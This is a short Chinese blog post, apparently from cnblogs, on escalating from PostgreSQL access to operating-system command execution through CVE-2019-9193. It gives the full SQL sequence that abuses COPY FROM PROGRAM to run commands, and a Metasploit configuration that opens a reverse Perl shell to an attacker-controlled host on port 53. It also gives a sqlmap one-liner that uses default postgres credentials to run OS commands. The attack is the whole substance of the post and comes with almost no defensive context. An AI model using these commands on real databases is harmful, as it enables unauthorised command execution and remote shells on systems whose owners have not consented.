postgresql提权

(CVE-2019-9193)

CVE-2019-9193:PostpreSQL 9.3-11.2 允许经过身份验证的superuser或者拥有pg_read_server_files权限的用户执行任意命令:

drop table if exists cmd_exec;
create table cmd_exec(cmd_output text);
copy cmd_exec from program 'id';
select * from cmd_exec;
drop table if exists cmd_exec;

需要注意的是:命令中的单引号需要用双引号进行转义,如:echo 'test' >> 'echo "test";'
MSF中也有对应的利用模块

use exploit/multi/postgres/postgres_cmd_execution_nine_three 
set RHOST 192.168.1.5
set payload cmd/unix.reverse_perl
set database postgres
set username postgres
set password postgres
set LHOST 192.168.1.6
set LPORT 53
exploit

参考链接:http://t3ngyu.leanote.com/post/Postgresql

UDF提权

sqlmap -d "PostgreSQL://postgres:postgres@192.168.0.13:5432/postgres" --os-cmd id

sqlmap yyds

posted @   mrhonest  阅读(809)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义
· 地球OL攻略 —— 某应届生求职总结
· 提示词工程——AI应用必不可少的技术
· Open-Sora 2.0 重磅开源!
· 周边上新:园子的第一款马克杯温暖上架
历史上的今天:
2019-01-28 MYSQL注入各种骚姿势
点击右上角即可分享
微信分享提示